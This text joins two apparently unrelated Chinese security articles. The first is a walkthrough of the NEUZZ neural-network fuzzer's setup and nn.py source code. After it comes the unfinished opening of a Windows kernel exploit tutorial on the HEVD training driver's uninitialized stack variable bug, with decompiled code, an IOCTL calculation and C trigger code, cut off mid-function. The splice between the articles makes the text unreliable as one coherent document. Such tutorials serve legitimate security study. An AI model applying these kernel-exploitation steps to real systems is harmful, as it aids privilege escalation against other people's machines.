* 基于前馈神经网络（NNs）的程序平滑技术，它可以逐步学习复杂的、真实的程序分支行为的光滑逼近，即预测由特定输入执行的目标程序的控制流边缘。我们进一步提出了一种梯度引导搜索策略，该策略计算并利用平滑近似（即神经网络模型）的梯度来识别目标突变位置，从而最大限度地增加目标程序中检测到的错误数量
**简而言之就是，NEUZZ就是通过一组神经网络利用梯度信息评价变异哪些位置对提升覆盖率有帮助**
## 二、安装与使用
NEUZZ的安装与使用还是比较简单的
### 2.1 初始准备
首先需要安装一些必备的包，根据官网readme所介绍的，他们的测试环境是：
* Python 2.7
* Tensorflow 1.8.0
* Keras 2.2.3
我决定采用的是Aconda来建立一个虚拟环境来运行
#### 2.1.1 安装Aconda
先安装一些必备的库
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
然后从官网里面下载Anaconda的安装脚本
$ wget https://repo.anaconda.com/archive/Anaconda3-2020.11-Linux-x86_64.sh
然后给脚本赋予执行权限
$ chmod +x Anaconda3-2020.11-Linux-x86_64.sh
然后运行安装脚本即可
$ ./Anaconda3-2020.11-Linux-x86_64.sh
> 这里不建议使用root权限安装，如果你自己使用的用户就不是root账户的话
这里如果出现找不到conda命令的情况可能需要手动修改shell的环境配置
$ sudo vim ~/.bashrc
然后就修改为类似这样的实际安装路径
export PATH="/home/ubuntu/anaconda3/bin:$PATH"
然后刷新重新运行
$ source ~/.bashrc
#### 2.1.2 安装环境包
首先建立虚拟环境
$ conda create -n neuzz python=2.7
激活虚拟环境
$ conda activate neuzz
安装Tensorflow
$ pip install --upgrade tensorflow==1.8.0
安装Keras
$ pip install --upgrade keras==2.2.3
### 2.2 安装编译NEUZZ
下载NEUZZ源码：
$ git clone https://github.com/Dongdongshe/neuzz.git && cd neuzz
编译neuzz
$ gcc -O3 -funroll-loops ./neuzz.c -o neuzz
### 2.3 使用
这里我们以测试readelf为例子，首先还是安装一些必备包
$ sudo dpkg --add-architecture i386
$ sudo apt-get update
$ sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1
然后拷贝`nn.py`和`neuzz`到工作目录
$ cp neuzz ./programs/readelf/
$ cp nn.py ./programs/readelf/
然后设置一些内核参数
cd /sys/devices/system/cpu
echo performance | tee cpu*/cpufreq/scaling_governor
echo core >/proc/sys/kernel/core_pattern
然后建立种子文件夹
$ mkdir seeds
然后运行`nn.py`作为服务器端
$ python nn.py ./readelf -a
然后在另外一个终端里面运行neuzz
# -l, file len is obtained by maximum file lens in the neuzz_in ( ls -lS neuzz_in|head )
$ ./neuzz -i neuzz_in -o seeds -l 7507 ./readelf -a @@
## 三、NN.py
整个NEUZZ的结构图如下，高清图片地址：
https://gitee.com/zeroaone/viking-fuzz/raw/master/%E7%BB%93%E6%9E%84%E5%9B%BE.png
### 3.1 setup_server
我们首先来看看`nn.py`的源码结构
我们先从main函数看起
if __name__ == '__main__':
setup_server()
可以看到调用了`setup_server()`函数：
def setup_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((HOST, PORT))
sock.listen(1)
conn, addr = sock.accept()
print('connected by neuzz execution moduel ' + str(addr))
gen_grad(b"train")
conn.sendall(b"start")
while True:
data = conn.recv(1024)
if not data:
break
else:
gen_grad(data)
conn.sendall(b"start")
conn.close()
这段代码不难看懂，就是开启一个socket通信，开始监听信息，然后就开始一个循环，不断训练数据，发送客户端梯度信息已经生成，直到没接收到客户端的信号
### 3.2 gen_grad
现在的关键是我们看到`gen_grad()`函数
def gen_grad(data):
global round_cnt
t0 = time.time()
process_data()
model = build_model()
train(model)
# model.load_weights('hard_label.h5')
gen_mutate2(model, 500, data[:5] == b"train")
round_cnt = round_cnt + 1
print(time.time() - t0)
这里`round_cnt`是记录了一共训练了几次梯度信息
然后`process_data`主要目的是利用afl-showmap获取每一个seed的输出路径，然后对其进行去重、更新保存
然后`model =
build_model()`就是建立神经网络模型，`train(model)`顾名思义就是训练模型，然后`gen_mutate2`就是生成梯度信息指导未来的变异
### 3.3 process_data
这是整个源码里面比较大的模块了，
# process training data from afl raw data
def process_data():
global MAX_BITMAP_SIZE
global MAX_FILE_SIZE
global SPLIT_RATIO
global seed_list
global new_seeds
# shuffle training samples
seed_list = glob.glob('./seeds/*')
seed_list.sort()
SPLIT_RATIO = len(seed_list)
rand_index = np.arange(SPLIT_RATIO)
np.random.shuffle(seed_list)
new_seeds = glob.glob('./seeds/id_*')
call = subprocess.check_output
# get MAX_FILE_SIZE
cwd = os.getcwd()
max_file_name = call(['ls', '-S', cwd + '/seeds/']).decode('utf8').split('\n')[0].rstrip('\n')
MAX_FILE_SIZE = os.path.getsize(cwd + '/seeds/' + max_file_name)
# create directories to save label, spliced seeds, variant length seeds, crashes and mutated seeds.
os.path.isdir("./bitmaps/") or os.makedirs("./bitmaps")
os.path.isdir("./splice_seeds/") or os.makedirs("./splice_seeds")
os.path.isdir("./vari_seeds/") or os.makedirs("./vari_seeds")
os.path.isdir("./crashes/") or os.makedirs("./crashes")
# obtain raw bitmaps
raw_bitmap = {}
tmp_cnt = []
out = ''
for f in seed_list:
tmp_list = []
try:
# append "-o tmp_file" to strip's arguments to avoid tampering tested binary.
if argvv[0] == './strip':
out = call(['./afl-showmap', '-q', '-e', '-o', '/dev/stdout', '-m', '512', '-t', '500'] + argvv + [f] + ['-o', 'tmp_file'])
else:
out = call(['./afl-showmap', '-q', '-e', '-o', '/dev/stdout', '-m', '512', '-t', '500'] + argvv + [f])
except subprocess.CalledProcessError:
print("find a crash")
for line in out.splitlines():
edge = line.split(b':')[0]
tmp_cnt.append(edge)
tmp_list.append(edge)
raw_bitmap[f] = tmp_list
counter = Counter(tmp_cnt).most_common()
# save bitmaps to individual numpy label
label = [int(f[0]) for f in counter]
bitmap = np.zeros((len(seed_list), len(label)))
for idx, i in enumerate(seed_list):
tmp = raw_bitmap[i]
for j in tmp:
if int(j) in label:
bitmap[idx][label.index((int(j)))] = 1
# label dimension reduction
fit_bitmap = np.unique(bitmap, axis=1)
print("data dimension" + str(fit_bitmap.shape))
# save training data
MAX_BITMAP_SIZE = fit_bitmap.shape[1]
for idx, i in enumerate(seed_list):
file_name = "./bitmaps/" + i.split('/')[-1]
np.save(file_name, fit_bitmap[idx])
我们这里先来看几个常量
MAX_FILE_SIZE = 10000
MAX_BITMAP_SIZE = 2000
SPLIT_RATIO = len(seed_list)
seed_list = glob.glob('./seeds/*')
new_seeds = glob.glob('./seeds/id_*')
大概就是分别记录了最大的文件大小，最大的BITMAP大小，切割率，已经存在的种子列表，新生成的种子列表
程序一开始首先就是对这些值进行了初始化操作，切割率直接取的就是已有种子文件的个数
# shuffle training samples
seed_list = glob.glob('./seeds/*')
seed_list.sort()
SPLIT_RATIO = len(seed_list)
rand_index = np.arange(SPLIT_RATIO)
np.random.shuffle(seed_list)
new_seeds = glob.glob('./seeds/id_*')
call = subprocess.check_output
然后程序开始获取最大的种子文件的大小，大致就是调用了`ls`指令的方法
# get MAX_FILE_SIZE
cwd = os.getcwd()
max_file_name = call(['ls', '-S', cwd + '/seeds/']).decode('utf8').split('\n')[0].rstrip('\n')
MAX_FILE_SIZE = os.path.getsize(cwd + '/seeds/' + max_file_name)
然后就是建立四个文件夹
# create directories to save label, spliced seeds, variant length seeds, crashes and mutated seeds.
os.path.isdir("./bitmaps/") or os.makedirs("./bitmaps")
os.path.isdir("./splice_seeds/") or os.makedirs("./splice_seeds")
os.path.isdir("./vari_seeds/") or os.makedirs("./vari_seeds")
os.path.isdir("./crashes/") or os.makedirs("./crashes")
* bitmaps：用来存放每个种子文件的路径覆盖率信息
* splice_seeds：用来存放被切割的种子
* vari_seeds：用来存放变长的种子
* crashes：用来存放产生crashes的种子
然后就是利用afl-showmap获取每一个seed的原始输出路径覆盖率信息
# obtain raw bitmaps
raw_bitmap = {}
tmp_cnt = []
out = ''
for f in seed_list:
tmp_list = []
try:
# append "-o tmp_file" to strip's arguments to avoid tampering tested binary.
if argvv[0] == './strip':
out = call(['./afl-showmap', '-q', '-e', '-o', '/dev/stdout', '-m', '512', '-t', '500'] + argvv + [f] + ['-o', 'tmp_file'])
else:
out = call(['./afl-showmap', '-q', '-e', '-o', '/dev/stdout', '-m', '512', '-t', '500'] + argvv + [f])
except subprocess.CalledProcessError:
print("find a crash")
for line in out.splitlines():
edge = line.split(b':')[0]
tmp_cnt.append(edge)
tmp_list.append(edge)
raw_bitmap[f] = tmp_list
counter = Counter(tmp_cnt).most_common()
我们先来回顾一下`afl-showmap`的用法
afl-showmap [ options ] -- /path/to/target_app [ ... ]
Required parameters:
-o file - file to write the trace data to
Execution control settings:
-t msec - timeout for each run (none)
-m megs - memory limit for child process (0 MB)
-Q - use binary-only instrumentation (QEMU mode)
-U - use Unicorn-based instrumentation (Unicorn mode)
-W - use qemu-based instrumentation with Wine (Wine mode)
(Not necessary, here for consistency with other afl-* tools)
Other settings:
-i dir - process all files in this directory, must be combined with -o.
With -C, -o is a file, without -C it must be a directory
and each bitmap will be written there individually.
-C - collect coverage, writes all edges to -o and gives a summary
Must be combined with -i.
-q - sink program's output and don't show messages
-e - show edge coverage only, ignore hit counts
-r - show real tuple values instead of AFL filter values
-s - do not classify the map
-c - allow core dumps
This tool displays raw tuple data captured by AFL instrumentation.
For additional help, consult /usr/local/share/doc/afl/README.md.
Environment variables used:
LD_BIND_LAZY: do not set LD_BIND_NOW env var for target
AFL_CMIN_CRASHES_ONLY: (cmin_mode) only write tuples for crashing inputs
AFL_CMIN_ALLOW_ANY: (cmin_mode) write tuples for crashing inputs also
AFL_CRASH_EXITCODE: optional child exit code to be interpreted as crash
AFL_DEBUG: enable extra developer output
AFL_FORKSRV_INIT_TMOUT: time spent waiting for forkserver during startup (in milliseconds)
AFL_KILL_SIGNAL: Signal ID delivered to child processes on timeout, etc. (default: SIGKILL)
AFL_MAP_SIZE: the shared memory size for that target. must be >= the size the target was compiled for
AFL_PRELOAD: LD_PRELOAD / DYLD_INSERT_LIBRARIES settings for target
AFL_QUIET: do not print extra informational output
可以看到NEUZZ使用的afl-showmap的开启选项主要是：
* -q：关闭沉程序的输出，不显示消息
* -e：仅显示边缘覆盖率，忽略命中率
* -o：写入覆盖率的文件路径
* -m：对于子进程的内存限制
* -t：超时时间
如果afl-showmap错误退出，就会说明找到了一个可以触发Crash的种子文件，然后借用`splitlines`方法，`tmp_cnt`可以得到边缘覆盖个数。`raw_bitmap[f]
= tmp_list`可以得到原始的bitmap
起始阶段 `fuzzer` 会进行一系列的准备工作，为记录插桩得到的目标程序执行路径，即 `tuple` 信息
* `trace_bits` 记录当前的tuple信息
* `virgin_bits` 用来记录总的tuple信息
* `virgin_tmout` 记录fuzz过程中出现的所有目标程序的timeout时的tuple信息
* `virgin_crash` 记录fuzz过程中出现的crash时的tuple信息
AFL为每个代码块生成一个随机数，作为其“位置”的记录；随后，对分支处的”源位置“和”目标位置“进行异或，并将异或的结果作为该分支的key，保存每个分支的执行次数。用于保存执行次数的实际上是一个哈希表，大小为`MAP_SIZE=64K`
# save bitmaps to individual numpy label
label = [int(f[0]) for f in counter]
bitmap = np.zeros((len(seed_list), len(label)))
for idx, i in enumerate(seed_list):
tmp = raw_bitmap[i]
for j in tmp:
if int(j) in label:
bitmap[idx][label.index((int(j)))] = 1
之后就是本轮训练出来的每个bitmap保存到对应的numpy标签矩阵里面，方便以后训训练
# label dimension reduction
fit_bitmap = np.unique(bitmap, axis=1)
print("data dimension" + str(fit_bitmap.shape))
之后就是`unique`函数去除其中重复的元素,也就是去除会产生相同路径信息的种子，并按元素由大到小返回一个新的无元素重复的所有的bitmap
# save training data
MAX_BITMAP_SIZE = fit_bitmap.shape[1]
for idx, i in enumerate(seed_list):
file_name = "./bitmaps/" + i.split('/')[-1]
np.save(file_name, fit_bitmap[idx])
之后就是保存对应的bitmaps
### 3.4 build_model
def build_model():
batch_size = 32
num_classes = MAX_BITMAP_SIZE
epochs = 50
model = Sequential()
model.add(Dense(4096, input_dim=MAX_FILE_SIZE))
model.add(Activation('relu'))
model.add(Dense(num_classes))
model.add(Activation('sigmoid'))
opt = keras.optimizers.adam(lr=0.0001)
model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[accur_1])
model.summary()
return model
这里就是很简单的利用Tensorflow和Keras构建的一个网络模型，其基本结构是Sequential序贯模型，序贯模型是函数式模型的简略版，为最简单的线性、从头到尾的结构顺序，不分叉，是多个网络层的线性堆叠。我们可以通过将层的列表传递给Sequential的构造函数，来创建一个Sequential模型，
也可以使用`.add()`方法将各层添加到模型中，这里采用的就是`.add()`方法
模型需要知道它所期待的输入的尺寸（shape）。出于这个原因，序贯模型中的第一层（只有第一层，因为下面的层可以自动的推断尺寸）需要接收关于其输入尺寸的信息，后面的各个层则可以自动的推导出中间数据的shape，因此不需要为每个层都指定这个参数。有以下几种方法来做到这一点
这里我们使用一个2D 层 `Dense`，通过参数 `input_dim` 指定输入尺寸，Dense层就是所谓的全连接神经网络层
之后跟的是以`relu`函数的一个激活函数层。之后又跟了一个大小为`MAX_BITMAP_SIZE`的全连接层。最后又跟了一个以`sigmoid`为函数的一个激活函数层
>
> 神经网络模型由三个完全连接的层组成。隐藏层使用ReLU作为其激活函数。我们使用sigmoid作为输出层的激活函数来预测控制流边缘是否被覆盖。神经网络模型训练了50个阶段（即整个数据集的50次完整通过），以达到较高的测试精度（平均约95%）。由于我们使用一个简单的前馈网络，因此所有10个程序的训练时间都不到2分钟
在训练模型之前，我们需要配置学习过程，这是通过compile方法完成的，他接收三个参数：
* **优化器 optimizer：** 它可以是现有优化器的字符串标识符，如 `rmsprop` 或 `adagrad`，也可以是 Optimizer 类的实例
* **损失函数 loss：** 模型试图最小化的目标函数。它可以是现有损失函数的字符串标识符，如 `categorical_crossentropy` 或 `mse`，也可以是一个目标函数
* **评估标准 metrics：** 对于任何分类问题，你都希望将其设置为 `metrics = ['accuracy']`。评估标准可以是现有的标准的字符串标识符，也可以是自定义的评估标准函数
这里我们使用了优化器`keras.optimizers.Adam()`，在监督学习中我们使用梯度下降法时，学习率是一个很重要的指标，因为学习率决定了学习进程的快慢（也可以看作步幅的大小）。如果学习率过大，很可能会越过最优值，反而如果学习率过小，优化的效率可能很低，导致过长的运算时间，所以学习率对于算法性能的表现十分重要。而优化器`keras.optimizers.Adam()`是解决这个问题的一个方案。其大概的思想是开始的学习率设置为一个较大的值，然后根据次数的增多，动态的减小学习率，以实现效率和效果的兼得
我们这里使用了一个参数`lr=0.0001`表示学习率
看参数我们使用了`binary_crossentropy`函数作为损失函数，也就是二进制交叉熵
使用keras构建深度学习模型,我们会通过`model.summary()`输出模型各层的参数状况
至此我们的网络模型构建完毕
### 3.5 train
在构建完模型后，我们就开始了训练的过程
def train(model):
loss_history = LossHistory()
lrate = keras.callbacks.LearningRateScheduler(step_decay)
callbacks_list = [loss_history, lrate]
model.fit_generator(train_generate(16),
steps_per_epoch=(SPLIT_RATIO / 16 + 1),
epochs=100,
verbose=1, callbacks=callbacks_list)
# Save model and weights
model.save_weights("hard_label.h5")
都是常规的训练设置，最后将获得的模型保存到一个叫`hard_label.h5`的文件中，`save_weights()`保存的模型结果，
**它只保存了模型的参数，但并没有保存模型的图结构** ，可以节省空间与提高效率
### 3.6 gen_mutate2
这又是整个程序中一个巨大且重要的模块，主要用途是利用生成的梯度信息指导未来的种子变异
# grenerate gradient information to guide furture muatation
def gen_mutate2(model, edge_num, sign):
tmp_list = []
# select seeds
print("#######debug" + str(round_cnt))
if round_cnt == 0:
new_seed_list = seed_list
else:
new_seed_list = new_seeds
if len(new_seed_list) < edge_num:
rand_seed1 = [new_seed_list[i] for i in np.random.choice(len(new_seed_list), edge_num, replace=True)]
else:
rand_seed1 = [new_seed_list[i] for i in np.random.choice(len(new_seed_list), edge_num, replace=False)]
if len(new_seed_list) < edge_num:
rand_seed2 = [seed_list[i] for i in np.random.choice(len(seed_list), edge_num, replace=True)]
else:
rand_seed2 = [seed_list[i] for i in np.random.choice(len(seed_list), edge_num, replace=False)]
# function pointer for gradient computation
fn = gen_adv2 if sign else gen_adv3
# select output neurons to compute gradient
interested_indice = np.random.choice(MAX_BITMAP_SIZE, edge_num)
layer_list = [(layer.name, layer) for layer in model.layers]
with open('gradient_info_p', 'w') as f:
for idxx in range(len(interested_indice[:])):
# kears's would stall after multiple gradient compuation. Release memory and reload model to fix it.
if idxx % 100 == 0:
del model
K.clear_session()
model = build_model()
model.load_weights('hard_label.h5')
layer_list = [(layer.name, layer) for layer in model.layers]
print("number of feature " + str(idxx))
index = int(interested_indice[idxx])
fl = [rand_seed1[idxx], rand_seed2[idxx]]
adv_list = fn(index, fl, model, layer_list, idxx, 1)
tmp_list.append(adv_list)
for ele in adv_list:
ele0 = [str(el) for el in ele[0]]
ele1 = [str(int(el)) for el in ele[1]]
ele2 = ele[2]
f.write(",".join(ele0) + '|' + ",".join(ele1) + '|' + ele2 + "\n")
这里我们输入了三个参数：
* model：训练好的网络模型
* edge_num：边的数量
* sign：信号
# select seeds
print("#######debug" + str(round_cnt))
if round_cnt == 0:
new_seed_list = seed_list
else:
new_seed_list = new_seeds
if len(new_seed_list) < edge_num:
rand_seed1 = [new_seed_list[i] for i in np.random.choice(len(new_seed_list), edge_num, replace=True)]
else:
rand_seed1 = [new_seed_list[i] for i in np.random.choice(len(new_seed_list), edge_num, replace=False)]
if len(new_seed_list) < edge_num:
rand_seed2 = [seed_list[i] for i in np.random.choice(len(seed_list), edge_num, replace=True)]
else:
rand_seed2 = [seed_list[i] for i in np.random.choice(len(seed_list), edge_num, replace=False)]
这里就是从`seed_list`中随机抽取500个seed
if len(new_seed_list) < edge_num:
rand_seed1 = [new_seed_list[i] for i in np.random.choice(len(new_seed_list), edge_num, replace=True)]
else:
rand_seed1 = [new_seed_list[i] for i in np.random.choice(len(new_seed_list), edge_num, replace=False)]
如果`len(new_seed_list) <
edge_num`，则为又放回的抽取，体现为`replace=True`，可以抽取同样的内容，反正则为不放回的抽取`replace=False`
从seed_list中随机抽取500个seed作为rand_seed1，从new_seed1中随机抽取500个作为rang_seed2，
# function pointer for gradient computation
fn = gen_adv2 if sign else gen_adv3
根据信号不同选择不同的梯度计算的函数
# select output neurons to compute gradient
interested_indice = np.random.choice(MAX_BITMAP_SIZE, edge_num)
layer_list = [(layer.name, layer) for layer in model.layers]
这里就是挑选输出层用于计算梯度的`output_neuron`
with open('gradient_info_p', 'w') as f:
for idxx in range(len(interested_indice[:])):
# kears's would stall after multiple gradient compuation. Release memory and reload model to fix it.
if idxx % 100 == 0:
del model
K.clear_session()
model = build_model()
model.load_weights('hard_label.h5')
layer_list = [(layer.name, layer) for layer in model.layers]
print("number of feature " + str(idxx))
index = int(interested_indice[idxx])
fl = [rand_seed1[idxx], rand_seed2[idxx]]
adv_list = fn(index, fl, model, layer_list, idxx, 1)
tmp_list.append(adv_list)
for ele in adv_list:
ele0 = [str(el) for el in ele[0]]
ele1 = [str(int(el)) for el in ele[1]]
ele2 = ele[2]
f.write(",".join(ele0) + '|' + ",".join(ele1) + '|' + ele2 + "\n")
这一大段代码的主要功能就是将返回的adv_list中的每个元素所包含的三部分提取出来，存入文件`gradient_info_p`中。接下来我们将深入这个函数内部探究其功能
if idxx % 100 == 0:
del model
K.clear_session()
model = build_model()
model.load_weights('hard_label.h5')
layer_list = [(layer.name, layer) for layer in model.layers]
这里主要是多次梯度计算后，kears会失速。需要我们手动释放内存并重新加载模型以对其进行修复
adv_list = fn(index, fl, model, layer_list, idxx, 1)
这个是关键的函数，这里输入了我们挑选的输出层，和对应的随机种子，模型网络层列表，idxx。这里就是对于给定的输入计算梯度信息
### 3.7 gen_adv2
计算给定输入的梯度
# compute gradient for given input
def gen_adv2(f, fl, model, layer_list, idxx, splice):
adv_list = []
loss = layer_list[-2][1].output[:, f]
grads = K.gradients(loss, model.input)[0]
iterate = K.function([model.input], [loss, grads])
ll = 2
while fl[0] == fl[1]:
fl[1] = random.choice(seed_list)
for index in range(ll):
x = vectorize_file(fl[index])
loss_value, grads_value = iterate([x])
idx = np.flip(np.argsort(np.absolute(grads_value), axis=1)[:, -MAX_FILE_SIZE:].reshape((MAX_FILE_SIZE,)), 0)
val = np.sign(grads_value[0][idx])
adv_list.append((idx, val, fl[index]))
# do not generate spliced seed for the first round
if splice == 1 and round_cnt != 0:
if round_cnt % 2 == 0:
splice_seed(fl[0], fl[1], idxx)
x = vectorize_file('./splice_seeds/tmp_' + str(idxx))
loss_value, grads_value = iterate([x])
idx = np.flip(np.argsort(np.absolute(grads_value), axis=1)[:, -MAX_FILE_SIZE:].reshape((MAX_FILE_SIZE,)), 0)
val = np.sign(grads_value[0][idx])
adv_list.append((idx, val, './splice_seeds/tmp_' + str(idxx)))
else:
splice_seed(fl[0], fl[1], idxx + 500)
x = vectorize_file('./splice_seeds/tmp_' + str(idxx + 500))
loss_value, grads_value = iterate([x])
idx = np.flip(np.argsort(np.absolute(grads_value), axis=1)[:, -MAX_FILE_SIZE:].reshape((MAX_FILE_SIZE,)), 0)
val = np.sign(grads_value[0][idx])
adv_list.append((idx, val, './splice_seeds/tmp_' + str(idxx + 500)))
return adv_list
loss = layer_list[-2][1].output[:, f]
这里就是提取出下标为f的输出神经元的loss信息
grads = K.gradients(loss, model.input)[0]
获取指定的输出神经元对于输出层的gradients，也就是梯度信息
iterate = K.function([model.input], [loss, grads])
这里我们利用Keras的backend根据给定的信息创造一个迭代器，这里我们使用Tensorflow作为张量计算的后端
for index in range(ll):
x = vectorize_file(fl[index])
loss_value, grads_value = iterate([x])
idx = np.flip(np.argsort(np.absolute(grads_value), axis=1)[:, -MAX_FILE_SIZE:].reshape((MAX_FILE_SIZE,)), 0)
val = np.sign(grads_value[0][idx])
adv_list.append((idx, val, fl[index]))
这里将fl数组中的两个seed分别作为函数的输入，得到对应的输入层的梯度，并对梯度值就行处理得到将其从大到小排列对应的下标
将梯度从大到小排列对应的下标，以及对应的正负情况和该seed文件名保存在list中返回
# do not generate spliced seed for the first round
if splice == 1 and round_cnt != 0:
if round_cnt % 2 == 0:
splice_seed(fl[0], fl[1], idxx)
x = vectorize_file('./splice_seeds/tmp_' + str(idxx))
loss_value, grads_value = iterate([x])
idx = np.flip(np.argsort(np.absolute(grads_value), axis=1)[:, -MAX_FILE_SIZE:].reshape((MAX_FILE_SIZE,)), 0)
val = np.sign(grads_value[0][idx])
adv_list.append((idx, val, './splice_seeds/tmp_' + str(idxx)))
else:
splice_seed(fl[0], fl[1], idxx + 500)
x = vectorize_file('./splice_seeds/tmp_' + str(idxx + 500))
loss_value, grads_value = iterate([x])
idx = np.flip(np.argsort(np.absolute(grads_value), axis=1)[:, -MAX_FILE_SIZE:].reshape((MAX_FILE_SIZE,)), 0)
val = np.sign(grads_value[0][idx])
adv_list.append((idx, val, './splice_seeds/tmp_' + str(idxx + 500)))
在非第一轮训练的时候，还要将fl数组中的两个seeds进行拼接，产生新的seed，再利用这个新的seed进行上面三步操作
gen_adv3和gen_adv2的情况差不多
### 3.8 splice_seed
这里就是提供了一个利用两个旧的种子产生一个新种子的方法
def splice_seed(fl1, fl2, idxx):
tmp1 = open(fl1, 'rb').read()
ret = 1
randd = fl2
while ret == 1:
tmp2 = open(randd, 'rb').read()
if len(tmp1) >= len(tmp2):
lenn = len(tmp2)
head = tmp2
tail = tmp1
else:
lenn = len(tmp1)
head = tmp1
tail = tmp2
f_diff = 0
l_diff = 0
for i in range(lenn):
if tmp1[i] != tmp2[i]:
f_diff = i
break
for i in reversed(range(lenn)):
if tmp1[i] != tmp2[i]:
l_diff = i
break
if f_diff >= 0 and l_diff > 0 and (l_diff - f_diff) >= 2:
splice_at = f_diff + random.randint(1, l_diff - f_diff - 1)
head = list(head)
tail = list(tail)
tail[:splice_at] = head[:splice_at]
with open('./splice_seeds/tmp_' + str(idxx), 'wb') as f:
f.write(bytearray(tail))
ret = 0
print(f_diff, l_diff)
randd = random.choice(seed_list)
### 3.9 vectorize_file
获取输入的矢量表示
# get vector representation of input
def vectorize_file(fl):
seed = np.zeros((1, MAX_FILE_SIZE))
tmp = open(fl, 'rb').read()
ln = len(tmp)
if ln < MAX_FILE_SIZE:
tmp = tmp + (MAX_FILE_SIZE - ln) * b'\x00'
seed[0] = [j for j in bytearray(tmp)]
seed = seed.astype('float32') / 255
return seed | 社区文章 |
# 0x00：前言
这是 Windows kernel exploit
系列的第六部分，前一篇我们讲了空指针解引用，这一篇我们讲内核未初始化栈利用，这篇虽然是内核栈的利用，与前面不同的是，这里需要引入一个新利用手法 =>
栈喷射，需要你对内核栈和用户栈理解的比较深入，看此文章之前你需要有以下准备：
* Windows 7 x86 sp1虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* HEVD+OSR Loader配合构造漏洞环境
传送门：
[+] [Windows Kernel Exploit(一) -> UAF](https://xz.aliyun.com/t/5493)
[+] [Windows Kernel Exploit(二) -> StackOverflow](https://xz.aliyun.com/t/5536)
[+] [Windows Kernel Exploit(三) -> Write-What-Where](https://xz.aliyun.com/t/5615)
[+] [Windows Kernel Exploit(四) -> PoolOverflow](https://xz.aliyun.com/t/5709)
[+] [Windows Kernel Exploit(五) -> Null-Pointer-Dereference](https://xz.aliyun.com/t/5721)
# 0x01：漏洞原理
## 未初始化栈变量
我们还是先用IDA分析`HEVD.sys`，找到相应的函数`TriggerUninitializedStackVariable`
int __stdcall TriggerUninitializedStackVariable(void *UserBuffer)
{
int UserValue; // esi
_UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
if ( UserValue == 0xBAD0B0B0 )
{
UninitializedStackVariable.Value = 0xBAD0B0B0;
UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
if ( UninitializedStackVariable.Callback )
UninitializedStackVariable.Callback();
return 0;
}
我们仔细分析一下，首先函数将一个值设为0，`ms_exc`原型如下，它其实就是一个异常处理机制(预示着下面肯定要出异常)，然后我们还是将传入的`UserBuffer`和
0xBAD0B0B0
比较，如果相等的话就给`UninitializedStackVariable`函数的一些参数赋值，后面又判断了回调函数的存在性，最后调用回调函数，也就是说，我们传入的值不同的话可能就存在利用点，所以我们将聚焦点移到`UninitializedStackVariable`函数上
typedef struct CPPEH_RECORD
{
DWORD old_esp; //ESP
DWORD exc_ptr; //GetExceptionInformation return value
DWORD prev_er; //prev _EXCEPTION_REGISTRATION_RECORD
DWORD handler; //Handler
DWORD msEH_ptr; //Scopetable
DWORD disabled; //TryLevel
}CPPEH_RECORD,*PCPPEH_RECORD;
我们来看一下源码里是如何介绍的，显而易见，一个初始化将`UninitializedMemory`置为了NULL，而另一个没有，要清楚的是我们现在看的是内核的漏洞，与用户模式并不相同，所以审计代码的时候要非常仔细
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
# 0x02：漏洞利用
## 控制码
我们还是从控制码入手，在`HackSysExtremeVulnerableDriver.h`中定位到相应的定义
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
然后我们用python计算一下控制码
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'
我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
return 0;
}
这里我们打印的信息如下，可以看到对`UninitializedStackVariable`的一些对象进行了正确的赋值
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8E99B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8D6A3EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
我们尝试传入不同的值
VOID Trigger_shellcode()
{
